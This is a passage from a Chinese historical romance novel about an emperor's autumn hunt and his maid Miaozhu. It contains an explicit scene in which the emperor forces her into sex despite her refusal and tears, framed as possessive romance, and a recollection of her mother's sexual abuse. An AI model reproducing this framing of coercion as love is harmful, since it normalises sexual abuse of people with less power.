前朝有帝王专爱围猎游玩,一直到现在,也仍旧被大臣们拿来当做伤化败俗案列提起,前几年他们更同太皇太后一起对少帝严厉督导,盯着他千万别和他的先祖做出一样的事来。 文臣们是不允许一个帝王将自己放任到武弁的地位,这是对他自己的不尊重,更是对他们文官的不尊重。 按理来说秋猎便干脆舍弃不要,没什么必要,然而这一习俗却又是历年来的传统,除了狩猎之外,又还有演兵操习、春祈秋报,决不好废弃。 他们是瞧不起那些武夫,可是家国又要他们守护,毕竟流血流汗的事情他们又做不来。 再又说前两年北边俺答骑兵刚被大昭打服,这回秋猎也邀了他们的王公一道参加,叫他们看清大昭国力强盛,使得往后也不敢再犯。 文官武将们已经等在了地安门处,他们大约等了陈怀衡半个时辰的功夫,些许人心中牢骚抱怨,可在等到帝王身影后,皆高呼着“吾皇万岁”。 在礼部尚书的主持之下,陈怀衡配合着去完成祭祀的流程。 众人们的视線落在帝王的背影身上,光是一个背影,光看举手投足,就已经让人觉出君临天下之气。 很显然,他比他的父皇,甚至其他的任何一个皇子都要出色太多。 众人已经记不得身在皇子时期的陈怀衡,也记不得当初他刚登基为帝的时候,朝中有多少质疑声,陈怀衡用仅仅两年的时间,抓住一次机会,就彻底地站稳了自己的脚跟。 过去的不堪已经快被世人忘却,现在他们只记得站在眼前的是,雷厉风行的少年帝王。 待仪式结束之后,陈怀衡便上了玉辂,周遭锦衣卫和大臣们随行,众人一路往着西山猎場的方向去。太皇太后与太后也跟着一道,分坐车架之中。 今日天气极好,待仪式结束之后快过巳时,阳光已遍泽人间大地。 帝王銮驾所过之处,有百姓见到慌忙顶礼膜拜。 婢女们跟在跟在人群末尾,一路随行至猎场。 妙珠同卿云走在角落的位置,没人注意的到,她们走在一处,时不时也会说上两句闲话。 长路漫漫,也没说些旁的,就是说一些小女儿家常会说的话打发时间。 妙珠问卿云:“姐姐如今多大了?” 卿云道:“快要二十了。” 妙珠道:“那再过五年姐姐岂不是要出宮了吗?” 宮女们不是说二十五就能出宮了吗。 卿云笑了笑,道:“是啊,再五年呢。” 真要算起来也是挺快的。 她从十岁就进了宫,现下一晃眼,十年就要过去了。 妙珠看到卿云提起出宫的时候臉上带着显而易见的笑意,她打趣般道:“姐姐,出宫这么高兴吗?一提起你便笑。” 出宫好吗?妙珠是真的不知道。 许是幼年那些可怖的记忆,宫内宫外对她而言都不大美好。 卿云道:“当然是好的了,怎么会不好呢?出了宫以后,便是个自由人了,想做什么做什么,想去哪里去哪里,你瞧瞧旁边,这么多有趣的地方,都是宫里头没有的呢。” 卿云知道妙珠傻,不知道她这般傻,宫里头好,还是宫外头好,这也分不清么?就拿最简单的一点来说,出了宫以后,妙珠就不用去服侍着她日日害怕的皇帝陛下了不过这话,卿云是决计不敢去说的。 帝王銮驾已经上了京城的街,长长的队伍从京城穿过,官道的两旁开着各式各样的店铺,琳琅满目。 妙珠从小到大都是在村子上长大,见过的只有穷山恶水,最多也就是往镇子上跑过几回,可那镇子上瞧着也只那样,没什么出奇的地方。 而当初嬷嬷带她进了宫的路上,妙珠正逢母亲离世,一片哀伤,在嬷嬷的怀里头哭得昏天黑地,又哪里有心情看外头的景色。 寻常的宫女就连出宫省亲的机会都没有的,那是女官们才有的恩典。 这是妙珠这么些年,第一回正眼看紫禁城外面的景色。 这里显然不是什么可怕的地方。 看着也果真是比宫里头有趣得多。 妙珠开始幻想,若是以后她和嬷嬷一道出了宫,在这样的街上一起生活那着实是一件不错的事情。 她前些时日刚过了十六的生辰,再过几年就再过几年。 想到这里,妙珠的眼睛也跟着亮了亮:“卿云姐,外头瞧着,确实还不错的” 难怪呢,难怪她以往也听那些宫女们说想要出宫去。 从前还在司衣司的时候,晚间睡觉前,一个房里头的几个人就时常会说起出宫后的日子,妙珠想要插嘴去一起说话,然而一张嘴,房里头的声音马上就安静了下来,没人理会她,连带着她们自己也不说话了。 她就插了那么一回嘴后,她们就再没说过出宫后的事情了,应当是怕她又来插嘴,干脆提都不提了。 妙珠没再说话了,只是视線一直黏在一旁的街景之上,心里头也不知道是在想些什么东西。 一直行至申时,才终于到了地方。 等到了猎场后,皇帝携众人前往草场那处去,观看事先已经准备好的軍事演戏。 待到这一切结束后,秋日的暮色如淡墨般在天际晕染开来,天色不知不觉暗淡。 从草场离开之后,直接赶往了宴席处,开始了晚宴。 宴席处烛火通明恍如白昼,火把的热气将此处得气温也烘托得更高了一些。 陈怀衡坐在高座,两侧稍矮处分别坐着太皇太后与太后。 妙珠侍于一旁为其添酒置菜。 底下的群臣们开始举杯说一些喜庆话,那远道而来的蒙古王公也说着本邦话,再由着鸿胪寺的人转述给陈怀衡听。 这人是俺答汗的亲弟弟,名喀什。 前两年陈怀衡亲领的那场北伐,将俺答骑兵赶出了北疆一带,自那以后,俺答汗归顺大昭,逢年过节皆要上俸。 除此之外,开设马市。 蒙古人可用马匹牛羊换取大昭的币帛粟豆等物。 此为封贡互市,昭天子允许归顺的蒙古部落进行茶马互市,换取生活必需品,可对敌对部落严格封锁。 显然,在现在这等情形下,大昭上有英勇无双的帝王作阵,下又有鹰扬虎视的将军驻防,加之蒙古那边也得了互惠互利的好处,北疆那处短期之内当也不会再有太大动乱。 今日这场军事演戏,又是施枕谦亲自带出来的军队,蒙古的王公看了之后,还敢有什么心思。 又趁着晚宴,他多给帝王说一些吉祥话听,表示他们的归顺臣服之心。 陈怀衡听后,冲着那蒙古来的王公举杯,喀什忙举杯同饮,就这样饮过酒后,他又鼓了鼓掌,唤来了一支西域舞姬,说是给帝王的献礼。 献这么个礼自是藏了私心,若是陈怀衡能沉迷美色不务正业,那是最好,若是不能,那也不打紧,反正礼是送出去了。 这礼献得突然,众人倒还不曾反应过来,歌舞就跟着起了。 西域的舞姬同中原人生得长相大不相同,眉眼深邃,深秋时节,身上却穿得寥寥无几,和中原的习俗不同,那处民风开放,舞女的肚子肩膀雪白白露在外头,笔挺的鼻子上面覆着一层薄薄的面纱,若有若无,带着别样美感。 那些个底下的大臣们,不顾臉面一些的,自顾自看着,自矜脸面一些的,便低着脑袋喝酒,再性情古板一些的,心中暗骂这蒙古人上不得台面,弄这么些伤风败俗的东西上来。 陈怀衡的视线只是不咸不淡落在那些舞女的身上,瞧不出什么情绪来,仰头闷了杯盏中的酒后,却迟迟等不到旁边人添酒。 他侧首看去,就见那小蠢货盯着那群舞女看入了神。 他轻笑了一声,扭头盯着妙珠,打算看看她什么时候能看到自己。 一直到一曲舞结束,妙珠才终于意犹未尽地收回了视线,一低头,就见陈怀衡一动不动的盯着她看。 妙珠吓了一跳,也不知陈怀衡看自己多久了,就像做坏事被抓包了,有些羞赧,她做贼心虚,忙给陈怀衡讨好地夹了几筷子菜,想叫他别追究自己。 陈怀衡倒也真大发慈悲收回了视线,看她那憨样,只嘴角竟不自觉勾起了笑,倒是连一开始的酒杯空了都忘了。 今日众人都劳累了一整日,到了这里就先散了,各自回了营帐休息。 妙珠跟在陈怀衡的身后回了御营,两人前后脚回了营帐里头。 陈怀衡今日饮了不少的酒,不过,他酒力颇好,一直到现在也仍旧神思清明,他往榻上坐去,妙珠便问他:“陛下,要脱冕服吗?” 估计着他净过身后就要歇下了,身上这些衣服再穿着也碍事。 “嗯。” 听到了陈怀衡的声音后,妙珠也不耽搁了,上前为他卸下这一身复杂的行头。 早上为他穿衣的是她,晚上为她脱衣的还是她。 妙珠仍是被这一身衣服弄出了一脑门的汗。 期间外头有人送来了醒酒汤,妙珠停了手上的动作去端了汤来,待陈怀衡喝下后,又重新为他脱起了身上的衣服。 脱倒是比穿轻松一些,又或许是晚间灯火模糊,饮了酒的陈怀衡行为举止也散漫了些,倒没白日瞧着那班唬人,妙珠也没平日那样怕了。 陈怀衡坐在床边,双手撑在身后,视线懒懒地落在妙珠身上。 他看到她毛茸茸的头顶,看到她那沁了汗的鼻尖,又看到她无意识地嘟囔着小嘴,就像是被这一身繁冗复杂的衣服烦得头疼,再往下看,又看到她那几根细白的手指在自己身上动作,大抵是觉得他喝醉了,手上的动作也没那么规矩了,不小心还会蹭到他。 方才喝下去的醒酒汤也没叫脑子多好受,迟到的酒劲好像翻涌上了头,那股熟悉的燥热冲上了身子。 陈怀衡鬼使神差伸出手,捏着妙珠白嫩嫩的脸颊,叫她抬起了头,他问道:“妙珠,你给喂我了什么?怎么这么热呢。” 妙珠被他捏了把脸,手上动作也跟着停下,她讷讷道:“是醒酒汤啊,陛下” 热? 那大抵是酒劲上头了。 妙珠为他脱衣服的动作更快了一些,嘴里头还在嘟囔着道:“那奴婢帮陛下把衣服脱掉就不热了。” 陈怀衡不置可否,任由她继续,好不容易终脱好了,最后只剩下了一身洁白的中衣。 没要妙珠服侍,他径自去了净室。 待到出来之后,身上的酒气散了干净,只剩下清浅的皂角味,妙珠想要侍奉他上床歇息,却发现了有什么地方不大对劲 她低头看着陈怀衡的腿。间,发现那里好像和平常的时候有些不大一样。 妙珠对这事其实并不陌生,她在小的时候见过了太多这样的事情,懵懵懂懂之间也能猜出陈怀衡这是怎么了。 妙珠错愕抬眼看向了陈怀衡,不是方净过身吗?怎么会这样? 陈怀衡也看向了她,与此同时,眸中的侵略看得妙珠头皮发麻。 陈怀衡状似无奈地叹了口气。 他问她:“你知道你自己今日给我夹了些什么菜吗?” 或许真是饮了酒脑子转不太动的缘故,陈怀衡竟连“朕”都不称了。 妙珠不明白陈怀衡的意思,只是极力回想今日那桌上到底有些什么菜。 她忽地想起来了,今日的许多菜是喀什从蒙古迁来的牛羊等物,其中不乏一些大补之物 坏了,这是补得厉害了,即使净了身,身上的欲。火都消不下去。 可是,这能怪她吗。 他若是不喜欢吃,不吃就好了,吃了以后身上着了火,也能怪她给他夹菜吗。 妙珠不敢再看他,嗫嚅道:“陛下,要不再去净一遍身吧。” 陈怀衡轻笑,又叹了口气:“你确定这有用吗?” 妙珠脸快红成一团了,她道:“用些凉水那应当是有用的。” 妙珠想得简单得很,起火了,那就用凉水浇灭吧。 陈怀衡低头看她脸色羞红,却觉身上胀得更难受了,他的声音又低又磁,传入了妙珠的耳廓,他道:“没用的,妙珠,水不顶用了。” 第24章 第二十四章她就该是他的,哪里都是…… 陳怀衡话里话外的意思已经说得十分明显了。 都这样了,还能让她走吗。 妙珠看着他的视线,忍不住后退一步,却被陳怀衡抓住了手,直接带到了身前,妙珠被他困住,双手推着他的肩膀,不知是哪里来的胆子出言拒绝。 “陛下,不要这样,奴婢帮你出去喊人来,今日不是有西域来的舞女吗” 陳怀衡听到她的话后,眉眼冷下来了一些,他直接拉着人坐到了自己身上,手指捏着她的两颊问道:“让朕去找别人?妙珠,先前你都是怎么说的?嗯?” 妙珠想要别开脸,他的力气却更大了一些,压根就不给她躲闪的机会。 陳怀衡盯着她的眼睛,命令她:“先前是怎么说的,再说一遍叫朕听听。” 妙珠被他掐得生疼,许是疼的,又许是害怕的,眼角泛紅,滴出了淚。 陈怀衡见她哭了,松了些力,却还是不让步。 “哭些什么?快说。” 妙珠被他逼得没办法,只好道:“陛下是妙珠的天,是妙珠唯一的主子。” 陈怀衡终是满意了。 她是他的婢女,她就该是他的,哪里都是。 溶溶灯火下,妙珠的皮肤白得更加显眼,那双眼睛,那张脸,泛滥着的紅是那样旖旎,陈怀衡的大掌毫不忌讳地握在她的细腰上,他问她:“那你的主子难受该怎么办啊?” 怎么办呢? 妙珠知道自己大抵是躲不掉了,她流着淚,低着腦袋,她道:“奴婢脏啊,陛下。” 她也会弄脏他的,还是不要继續为好。 他不是也一直都很嫌弃她的吗? 陈怀衡呵笑了一声,“可是你方才还说让舞姬来。” 她哪里是在为他着想,说到底还是不愿。 他又不是什么清心寡欲的圣人,何必一直勉强自己。 他就这样恶劣,两情相悦是情。趣,可她若不情愿,那他也完全无所谓。 而且,这事也实在是不公平,他每天梦到她就胀得难受,而她什么却都不知道,成日没心没肺的过着,一举一动莫名地晃着他的心神。 他在这方面可不大度。 若他不好受,她也得付出些代价来。 陈怀衡长臂一捞,就把她往床上抱,他净过身后,身上清冽的味道瞬间挤满了妙珠的鼻腔,妙珠不敢躲,也根本躲不开。 她被他按到了榻上,身上很快就只剩下了一件小衣,她清楚地知道接下来要发生什么事情,男人女人嘛,在这样的时候自然是做那样的事了,她捂着眼睛,也不敢再看了。 “施小姐她都回来了,陛下你这样不好” 然而话还没说完就叫陈怀衡打断。 “你又是犯什么毛病了?这时候提她做些什么?她回来便是回来了,同我何干,又同你何干。” 妙珠还想说些什么,可下一刻膝盖便被猝不及防di开,她忍不住发出一声呜咽,然而,很快,又将所有的声音都尽数吞咽回了喉中。 两人都是第一回,行进得相当困难。 微弱的烛火不断闪着,将两人的身影投射到了营帳上,妙珠一瞬间疼得厉害,想要喊叫出声,却又怕外面的人听见,只死死地咬住了唇。 她的眼睛已经被泪水糊满,陈怀衡的那张脸已经快要看不清楚了。 又疼又胀,伸出手想推开陈怀衡,可是,手抵在他的胸膛上怎么都使不出劲。 陈怀衡也并不怎么好受,终究是第一回,没能忍耐住,最后一刻钟的功夫就草草結束。 低头看着身下的妙珠,见她眼眸失距,没了焦点,虚虚地落在帳顶,她的额间出了不少的汗,陈怀衡伸手为她擦去了腦门上挂着的汗珠。 他还埋在里面,妙珠缓回了神,总算好受了一些,她强撑着力气,想要推开身上的人,“疼你出去” 她难得这样对陈怀衡说话,只是这幅样子显然没有一点威慑力。 不过,陈怀衡倒也如她的愿。 他抽身离开,把躺在床上喘气的妙珠扶起身抱在了怀中。 那双眼氲着泪,陈怀衡不知怎地又受了什么蛊惑,低了脑袋,薄唇碰上了她的眼睛。 鹹鹹的,湿湿的。 原来这双眼睛的味道是这样酸涩。 就那么一会,妙珠整个人都像在水里面泡了一遭。 她任他抱着,可是身上难受得不行,哑着嗓子道:“我想要净身好难受。” 陈怀衡传话让人重新备了水来。 营帐中发生的事情卿云很快就知道了,她覺得惊骇不已,可很快却又了然接受,毕竟是迟早都要发生的事。 她听了吩咐后,赶紧又去让人重新去净室放好了水,不敢看他们那处的情形,办好了事就匆匆离开。 陈怀衡直接起身抱着妙珠去了净室,将人浸入了水中。 只不过那么一会,陈怀衡却又来了反应。 他也进了水中,直接将妙珠捞到了怀里。 妙珠被他抱着,轻而易举地感受到了他的变化,她害怕地想要抓着御池的边逃跑,然而,下一刻,指尖猛地用力,一瞬间就泛了白。 水波荡漾,这回没那般疼了,身体莫名浮出了一道道古怪的感覺,有两道不可克制的伸吟声从喉中溢了出去。 或许是第二回的缘故,这次陈怀衡倒有耐心多了。 不知是过了多久,这里面才终于归于了平静,水波也从激烈的晃动趋于平缓。 最后,妙珠被陈怀衡净好了身,裹好了衣服抱了出去。 经此一遭,她已经半昏过去,被陈怀衡放到了榻上,只能大概模糊感覺到他的动作,可是,也已经没有任何力气去回应了。 沾了床后,彻底就昏死了过去。 三更半夜,静夜沉沉,屋内最后只剩下了两人沉重的呼吸声,便彻底没了声响。 待到翌日清晨,妙珠比陈怀衡还更早些醒来。 她睡眠很浅,覺不安稳,即便昨日累极了今日也很早醒来。 身上的酸痛席卷而来,意识渐渐清醒回笼,昨日发生的事情马上就排山倒海撞进了脑中。 怎么怎么就到了那样的地步呢。 妙珠在这一刻却又猛地回想起了陈怀衡前段时日看她的眼神,只疑心他是早有预谋。 他身边没有暖床的宮女,結果呢,身上有了不痛快就随手拉了身边的人上榻去了。 妙珠心里头气他恨竟如此作践人,可又实在是敢怒不敢言。 都说后宮三千只属皇帝一人,就算是他真的拉了宮女来作陪那又如何,前朝的丽嫔,当初不也是宮女出身吗?天下万物,皆是帝王一人私产,像是她这样的宫女,便更不用说了。 她只觉身上疼得厉害,却还是挣扎着起了身。 衣襟松垮,妙珠已经忘记了昨日陈怀衡是掐的还是咬的,低头看了看身上的痕迹,才发现竟这般不堪入目。 即便知道昨夜发生的事大抵是叫外面的人知道了,可若是一会叫旁人进来直接看到这样的场景,那她真不大想活了。 她这起身的动作很快带醒了陈怀衡,身后传来他的声音。 “怎么不再继續睡会呢?” 妙珠叫这声音吓了一个激灵,想到昨晚的事情仍旧浑身难受。 她心里头有怨,可又敢怒不敢言,毕竟在法理人情上她也没有任何能去指摘陈怀衡的地方,到时候真生了气叫他不痛快,以后难受得还是自己。 她忍着不快闷闷回道:“时候不早了的,奴婢该起身了。” 总不能说和他往榻上睡了一晚后,她这奴婢也不去当了。 睡觉是睡觉,其他的是其他的,妙珠这还是分得清的。 陈怀衡抬头看向帐窗,见天才蒙蒙亮,便伸手将妙珠重新拉回了床上。 “急什么,再睡会。” 今个巳时外头才有狩猎活动,天都还没亮透,起这么早做些什么。 他是可以继续睡下去的,可妙珠怎么也睡不着了,想要起身他又不允许,只好躺在床上干瞪眼。 忽地,她想起了什么,转过身去。 她出声唤他:“陛下” 陈怀衡也还没睡下去,听到她叫他,睁开了眼来。 一睁眼,就看到了妙珠睁着怯生生的杏眼看他。 她的发髻松松散散,不似平日那样规整,眼睛分明还是从前那双眼睛,可微微泛着红的眼尾,带着一股说不出的娇媚,柔顺的乌发落在脸颊,明生晕月,肌肤泛着如玉的的光泽。 陈怀衡看着躺在身侧的人,声音竟都有些不自觉地放柔了,他问她:“怎么了?” “陛下,得弄避子汤来”说到这里,妙珠有些难以启齿,顿了顿后,咬着唇继续说下去了,“昨日都弄里面了。” 妙珠从小到大就在那样的环境之中长大,不可能不知道那样的事情。 可陈怀衡呢,妙珠猜测,他不经事,大抵是个半生不熟的犊子,什么都不晓得,弄起 来也跟个毛头小子一样,没羞没臊的。 陈怀衡没想到妙珠一醒来就说这样的事,听到之后,下颌紧绷了些。 他现在尚不曾娶妻,后宫之中更没有妃子,若是叫一个宫女先生了孩子下来,那其实也确实说不过去。别说太皇太后了,就连群臣的笔杆子也要往他的身上伸了,陈怀衡确实没必要给自己寻麻烦事来。 只是,避子汤的事情他还不曾提,她倒是先提起来了 这让陈怀衡敏锐地察觉到了什么。 他眼中的柔意褪下去了一些,淡淡问道:“妙珠,你是不想生下朕的孩子对吗?” 他是该说她有自知之明,还是说些什么呢? 妙珠想了想后,看着陈怀衡道:“陛下,奴婢到了二十五还要出宫呢。” 她当然是不能生孩子的。 出宫? 这个小蠢货从哪里生出来的心思。 怎么突然就想起出宫的事了。 “为什么突然想起了出宫。”他又补充道:“你给朕说实话。” 妙珠一直以来都是老实的,没在陈怀衡面前撒过什么谎,再说,这事好像也没有什么同他撒谎的必要,她如实道:“奴婢从小到大也没正眼瞧过京城,昨日见了以后,发现和想象中的不大一样,还还挺好的。” 陈怀衡道:“就这样?” 妙珠点了点头,怕陈怀衡不信,又道:“而且大家都说宫外头挺好的” 妙珠的红唇在陈怀衡面前一张一合的,陈怀衡可不大想听她说外面如何如何好,他伸出拇指按在了她的唇上。 她竟还想过出宫的事情。 他还以为,她已经做好了一辈子在他身边服侍的打算了呢。 他得早些绝了她那些不干净的心思。 “小蠢货,她们有爹有娘的,当然是想着往后能出宫见他们,自然也说宫外边好,你呢?你没爹又没娘,盼着去外面做什么,少被他们骗了。到时候你去了外面,只有挨打的份,谁都要来欺负你,往后别再想那些有的没的了。” 他的声音听着没什么情绪,只不过,每一句话都没有给妙珠辩驳的机会。 她没爹没娘的,去外面做些什么? 妙珠觉得这话不大对,可她又不敢说陈怀衡的不是,只是眉心不可控制地蹙了起来。 第25章 第二十五章谁教的你疼也一声不吭?…… 陳怀衡的拇指碾着妙珠的唇瓣,带着些惩戒的味道,他道:“你不是想要朕留下荣桃的命吗?” 妙珠语塞,不明白他说这话是什么意思。 陳怀衡道:“你去讓她和太皇太后断了干净,朕可以考虑给她个机会。” 背叛他的人从来没有活下来过的,不过,用来绝了这个小蠢货出宫的心思,那也不亏。 妙珠懂了,他这是打个巴掌给个枣吃。 这是惯用的帝王心术。 可是他既然这样说了,妙珠也再说不得什么,闻此果真就不再提起出宫的事,她只道:“奴婢明白了,陛下。” 到了后来,天光大亮时,陳怀衡才终于肯放妙珠下榻。 妙珠从榻上起身后去寻了卿云,问她要了避子汤来,说是陳怀衡吩咐的。 昨日房里头的水还是卿云安排着人去送的呢,这事发生,她也没多少意外,听妙珠说陈怀衡讓她喝避子汤也没得多想,这事也再正常不过。 妙珠喝了避子汤后,又重新回了陈怀衡身邊服侍。 等到了巳时,陈怀衡又去见了群臣。 昨日进行了一系列的祭祀、演兵,今日终于开始秋狩,湛蓝天幕下,玄甲禁军护于四周,馬蹄声震的枫林簌簌做抖,陈怀衡着修身劲装,银甲覆身,**是汗血宝馬,赐名“踏月”,曾经親自领兵北伐的帝王身形气度无一挑剔之处,眸光深黑,下颌冷硬,眉眼间蕴着锋锐的暗芒。他手背上隆起的青筋十分明显,随着手指拨动着箭弦,一声尖锐箭响发出,首鹿应声而倒。 这是秋狩的传统,由帝王射杀第一匹鹿,接着陈怀衡一声令下,秋狩正式开始。 今日得头筹的人有赏,他给了彩头下去,大臣们便四处散去狩猎了。 陈怀衡对秋狩一事倒也没有多大兴趣,全了仪式之后,就掉了馬头離开了这处,可在掉头往回去走时却又碰到了几只白兔,陈怀衡不知是想到了什么,勒马停下。 今日护在他身邊的是锦衣卫的指挥同知,从三品官,姓明,二十八歲。 明副帅见陈怀衡停下,也抬手阻了身后跟着的人,众人跟着一道停下。 他刚想出口询问陈怀衡突然停下是做些什么,可还未来得及开口就见他拿了身后的弓出来。 原是想狩猎了。 可这周遭就只有几只兔子啊。 前些年的时候也是他跟在陈怀衡的身邊,那时候皇上总喜欢猎些飞禽猛兽,怎么着今年倒还转了性呢? 不过,他倒也没有开口说些什么,只是候在一旁等着。 只见陈怀衡拿了身后的金桃皮弓,这张皮弓当初跟着他一起征战北伐。 金弓在阳光下发着耀眼的光芒,他的长指捏了支金簇箭,往其中一支兔子射去,只是,却像是故意射偏了位置,没有直取白兔性命。 那兔子受了惊吓,两耳直竖,就要往着反方向蹦去,可就在下一瞬,马上又有另外一箭往它出逃的地方射去,几乎就是在呼吸之间,马上阻了它的逃離,而后,又接連有几只箭射出,皆没有伤及白兔性命。 只是将它牢牢地圈禁在了原地,左右奔逃不得。 明副帅看到这副场景直皱眉头,实在是不明白陈怀衡这番是何意图,杀又不杀,反倒是一点点将白兔困在了他制造的囚牢之中,进退失措。 他看不懂他的意图,只觉着这几只金簇箭真是可惜,失了用途,竟用于如此地方。 就在他惋惜时候,一旁的陈怀衡给他下了指令:“把兔子拎上。” 明副帅应是,忙去收拢了兔子。 后来,陈怀衡又去射了两匹梅花鹿,只有这些,便回去了宴席处。 此地只剩下一些年长的大臣,还有其家属親眷,太皇太后倒是没在场了,或许是昨日累了一天,今日便没再现身。 这两天天气好,連带着人的心情也跟着不错,众人本在此地闲话,见到帝王从猎场中回来之后,声音便小下去了一些,他们想要起身行礼,却被陈怀衡抬手阻止:“今日无需多礼。” 见他这样说,大家也从终于松懈了一些下来,没那般紧绷。 妙珠从方才开始就一直等在陈怀衡的王座身邊,他在外面打猎,她就一直等在这处,昨日那番过后,身上还是有些不大爽利,卿云怕出什么事,也跟在了身边。 卿云对她道:“你这若是撑不住,便回去歇下吧,陛下也没那般不近人情。” 怎么说也是因为他累成了这样,他若这也不允,那真是有些伤天害理了。 妙珠笑着摇头,叫卿云不要担心。 她不敢说,她怕陈怀衡得讥她恃宠而骄。 不过那么一夜,竟还敢不知天高地厚提起要求来了。 卿云见她这样,也没再劝了,只是沉沉地叹出了口气。 妙珠就是太老实些了,哪里都老实。 她劝她道:“妙珠,你得为着自己好一些啊,人这辈子,自己都不为自己着想,那还有什么活头呢。” 还有什么活头。 妙珠也不知道自己有什么活头,她只是一直记得,母親死之前死死地抓着她的手。 她说:小乞,活下去,带着娘和小妹的那份活下吧 就这么一句话,妙珠这辈子没了活头也不大敢去死。 妙珠双腿酸痛,想起母親以前过的日子。 那个时候,她日日都是这样过来的吗? 大抵也是很難受的,每回事后,母亲都像灵体出窍了一般,向来迟钝的人,在那样的时候竟也感觉到了苦痛。 母亲脑子不清醒,有时候連身子都洗不干净,还是妙珠为她洗的,就连身子里面那些不干净的东西,都是她为她理出来的。外祖生怕母亲会再怀上 孩子,再多出一张嘴来吃他的饭,那真真是能把他气老好些歲,他三令五申妙珠一定要为她扣弄干净,这样还不够,常常还会端来避子药讓妙珠喂母亲喝下去。 妙珠一开始的时候也恶心那些东西,可是后来,也习惯了。 和水混在一起,就不见了,从母亲的身体里面出去,母亲就干净了,她当初也从母亲身体里面出来的,更谈何嫌弃二字 就在这时,陈怀衡从猎场回来了,妙珠没能继续再想下去了。 陈怀衡径直往着主座的方向去,明副帅跟在他的身边,手上还提着一只兔子。 众人往着他们的方向打量,见陈怀衡身上什么都没有,只提了一只兔子,不免觉得奇怪,这么会的功夫,竟就只猎了白兔? 也罢,皇帝心里头想些什么他们也猜不到,若能想明白了,下半辈子也都有着落了。 他们收回了视线,也没再看,既陈怀衡说今日不用拘束,那他们也不大客气。虽陈怀衡在某些方面是手段狠辣了一些,但也没有到滥杀无辜的地步,朝野上下更不至于人人自危。 跟在陈怀衡身边的明副帅却提心吊胆,他提了一路的兔子,一直到陈怀衡入座,他才终于有机会问道:“陛下,这兔子” 陈怀衡给身后的人丢了个眼神,明副帅马上明白了他的意思,把兔子递给了他身后的妙珠。 妙珠接过了他的兔子,也觉有些摸不着头脑,陈怀衡何时喜欢这些玩样,他提只兔子回来做些什么?是要烤了吃了? 以往她时常会和小妹去山上,运气好些也能碰到一只兔子,她们抓了兔子回家,小妹舍不得吃兔子,妙珠就让她养个两日玩,再多不过三日,过了三日,小妹就该对兔子生出感情来了,差不多时候,就趁着外祖不在家的时候,把兔子烤了开荤。 对妙珠她们来说,吃了一只兔子能高兴个两日,往后回想起来都觉唇齿生香。 只是妙珠不知道,陈怀衡要兔子做些什么? 用来玩?不大可能。用来吃?那就更不大可能了。 她接过了兔子,有些不明所以,问道:“陛下,这兔子用来做些什么啊。” 陈怀衡道:“随手猎的,你拿去玩吧。” 好吧。 看这样子,果然是一时兴起打了兔子回来。 明副帅在一旁听得瞠目结舌,随手? 他管这叫随手吗。 不过他也什么都没说,就连面上情绪也不曾显露分毫,只在离开前悄悄看了一眼那接过兔子的小宫女罢了。 妙珠接过了兔子,随手搓了两下兔子的脑袋,便去一旁寻了个笼屉将兔子塞进去。 待她回来后,却见陈怀衡跟前站了一个姑娘,看那模样打扮,是哪家的小姐。 她看着有十七八岁的样子,穿着一身淡蓝长裙,发髻疏得整齐又精致,面容柔美,眉如新月,光是站在那处都如清风拂面。 妙珠不曾见过这人,但猜出她的身份来历了。 能站在陈怀衡面前,和他相谈甚欢的,那大概就是施寧煦了。 在她面前,陈怀衡身上的戾气瞧着好像都没那么厉害了。 陈怀衡对施寧煦道:“方才猎了两匹梅花鹿,叫人往你那边的营帐送去了,你回去瞧瞧喜不喜欢。” 施寧煦笑着受过,反过来打趣他:“難为陛下还记得我了。” 陈怀衡不理会她的揶揄,这里说话不大方便,他起身和施寧煦去了别处说话,妙珠想他们两人久不相见,当是有许多话要说,不好跟过去,便站在原地未动。 那两人也不曾走开多远,只站在一旁没甚人的地方闲话。 陈怀衡问她:“怎回来这般突然,也不说一声。” 施宁煦倒是无所谓:“我又不是一个人偷跑回来的,左右有哥哥在,出不了什么事。” 陈怀衡又问:“伤可是真的养透了?还是你哥唬弄我来的?” 当初陈怀衡在北疆打仗,最后还是上了战场,差点丧命,最后是施总督为他挡了一箭才躲了过去。而施宁煦的病也是在那段时间留下的,那段时日,后方爆发时疫,她忙前忙后,不小心染上了病,又逢父亲战死,悲痛交加,差点也没挺过去。 北伐的大获全胜是史书上面为人称道的一笔,保卫家国的成就却用无数人的血肉铸成。 铁骑之下,众生平等。 那感觉实在不大好,以至于陈怀衡在史书上亲手书写下了这么一笔却也没多觉骄傲。 好在那回施宁煦后面算是挺过去了,挨到了大获全胜班师回朝,只是,身上还是不免落下了病根。 陈怀衡班师回朝后,就让施宁煦在皇宫里头养病,他那段时日太忙,北伐之后,他急需在朝中立足,而留施宁煦在宫中养病,总是想着亲自照拂才放心,便径自将人安放在了偏殿,平常若是得了空照顾起来也方便太多。 那个时候,宁煦的病真的很糟糕,从北疆回来后就只剩下一口气吊着,稍不留神就要丢了命。 陈怀衡实在放心不下,哪里还去顾及其他的那些东西。 后来,听闻远方有溪山,溪山有子明大师,大师医术了得,有回春之术。 陈怀衡和施枕谦就商量着将施宁煦送去溪山。 施枕谦上回说施宁煦的病养好了,陈怀衡还是不大放心,这回便又多问了一嘴。 “好了,早就好了,怀衡哥你怎么比哥哥还啰嗦呢。” 陈怀衡被她嫌啰嗦也没恼,道:“他是个没数的,你想回京城了,往他跟前哭一哭,撒撒娇,他便受不了。” 施宁煦这便恼了,蹙起了那双漂亮的新月眉,瞪他道:“你怎么这样想我!” 陈怀衡笑了一声,看她这生龙活虎的样子,才彻底放下心了。 两人又说了几句闲话,大多是陈怀衡问她在溪山过得好不好,这两年有没有结实什么新朋友,有没有偷跑出去下山玩等等。 施宁煦被他问得一个脑袋两个大,忙阻了他继续查下去:“够了够了,没有偷偷出去玩,有两三新友,子明大师待我也很好,时常为我做些药膳,我得空就去寻他下棋呢。” 说完她就摊了摊手,道;“就这些,没旁的了。” 陈怀衡安静一会,还想说些什么,马上就被施宁煦打断,她想起了一件事,问他道:“好了,别说我了,你和哥哥上回吵架了是吗?” 上一回施枕谦从宫里头回来,不知道是怎么回事,叫气不行,问他是怎么了,也只叹气,什么都不肯说。 施宁煦大约猜出他是和陈怀衡闹了不痛快的事情,可是后面问了几番,他仍是死活都不说是何缘故。 正好今日有了机会,她便干脆来问了陈怀衡。 陈怀衡想起那日乾清宫发生的事情,刚想说些什么,就见施枕谦大步往着他们这处来了。 见他这副样子想来也没猎些什么东西,在外面转了一遭就回来了。 